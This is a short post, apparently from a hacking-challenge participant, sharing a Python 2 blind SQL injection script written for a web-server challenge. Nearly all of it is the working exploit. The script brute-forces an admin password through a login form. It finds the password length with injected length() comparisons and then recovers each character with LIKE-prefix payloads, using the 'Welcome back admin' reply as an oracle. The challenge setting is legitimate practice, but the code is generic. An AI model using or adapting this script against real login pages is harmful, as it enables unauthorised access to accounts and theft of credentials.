Blind SQL Injection exploit

Hi,
Today I would like to show you my own Blind SQL Injection script, which has been written in python.
I needed the script to one of the Web Server challenge from hidden challenge.

import urllib2
import urllib
import optparse
import os

dict = "abecdsfghjklmnpqtuvxyzerio1234567890!@$^&*()+|}{:?><,./;'[]\=-"

resp = 'Welcome back admin !'
tab = []
passw = []

def bruteforcer(username,length):
 for x in xrange(0,int(length)):
  for i in xrange(0,len(dict)):
   os.system('clear')
   tab.append(dict[i])
   inj = "".join(tab)
   injection = username + "' AND password LIKE  '" + inj + "%' -- -"
   print inj
   payload = urllib.urlencode({"username": injection,  "password": "someth"})
   r = urllib2.urlopen('hidden_url', payload)
   if resp in r.read():
    k = passw.append(tab[x])
    break
   else:
    del tab[x]
 found = "".join(passw)
 print '[+] progress ' + found
 return found

def len_finder(username):
 for i in xrange(0,99):
  inject = username + "' AND length(password) = " + str(i) + "-- -"
  payload = urllib.urlencode({"username": inject,  "password": "someth"})
  r = urllib2.urlopen('hidden_url', payload)
  if resp in r.read():
   print "Password length for " + username + " is " + str(i)
   return i
   break

def main():
 parser = optparse.OptionParser("-u <username>")
 parser.add_option("-u", dest = "username", type = "string", help = "set up username")
 (options,args) = parser.parse_args()
 username = options.username
 length = len_finder(username)
 print bruteforcer(username,length)

if __name__ == '__main__':
 main()